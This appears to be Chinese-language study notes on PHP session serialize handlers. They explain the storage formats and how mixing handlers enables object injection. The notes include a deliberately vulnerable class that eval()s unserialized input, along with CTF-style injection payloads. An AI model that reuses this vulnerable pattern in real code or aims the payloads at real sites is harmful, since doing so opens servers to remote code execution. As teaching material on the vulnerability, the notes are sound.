session.serialize_handler
session.serialize_handler是用来设置session的序列话引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不相同。
php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
?>
在php_serialize引擎下:
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = 'spoock';
var_dump();
?>
// a:1:{s:4:"name";s:6:"spoock";}
在php_binary引擎下:
<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['name'] = 'spoock';
var_dump();
?>
//names:6:"spoock";
在php引擎下:
<?php
session_start()
$_SESSION['name'] = 'spoock';
var_dump();
?>
//name|s:6:"spoock";
例:
<?php
class syclover{
var $func="";
function __construct() {
$this->func = "phpinfo()";
}
function __wakeup(){
eval($this->func);
}
}
unserialize($_GET['a']);
?>
a=O:8:“syclover”:1:{s:4:“func”;s:14:“echo “spoock”;”;}
object(syclover)[1]
public ‘func’ => string ‘echo “spoock”;’ (length=14)
例:
<!-un4.php-->
<?php
// goto un42.php
ini_set('session.serialize_handler','php_serialize');
session_start();
if (isset($_GET['tryhackme'])){
$_SESSION['tryhackme'] = $_GET['tryhackme'];
} else {
show_source(__FILE__);
}
?>
<!-un42.php-->
<?php
include "flag4.php";
ini_set('session.serialize_handler','php');
session_start();
class funny{
public $a;
function __destruct(){
global $flag;
echo $flag;
}
}
show_source(__FILE__);
?>
payload:?tryhackme=|O:5:“funny”:1:{s:1:“a”;N;}
在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。
ini_set('session.serialize_handler','php_serialize');
session_start();
if (isset($_GET['tryhackme']))
//会将|O:5:"funny":1:{s:1:"a";N;}构造成a:1:{s:6:"spoock";s:27:"|O:5:"funny":1:{s:1:"a";N;}";}
array(1) { [“spoock”]=> string(27) “|O:5:“funny”:1:{s:1:“a”;N;}” }
ini_set('session.serialize_handler','php');
//php引擎会以|作为作为key和value的分隔符,那么就会将a:1:{s:6:"spoock";s:27:"作为SESSION的key,将O:5:"funny":1:{s:1:"a";N;}";}作为value,
进行反序列化得到:
object(__PHP_Incomplete_Class)#1 (2) { ["__PHP_Incomplete_Class_Name"]=> string(5) “funny” [“a”]=> NULL }
存储机制
php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。
<?php
session_start()
$_SESSION['name'] = 'spoock';
var_dump();
?>
参考:https://blog.spoock.com/2016/10/16/php-serialize-problem/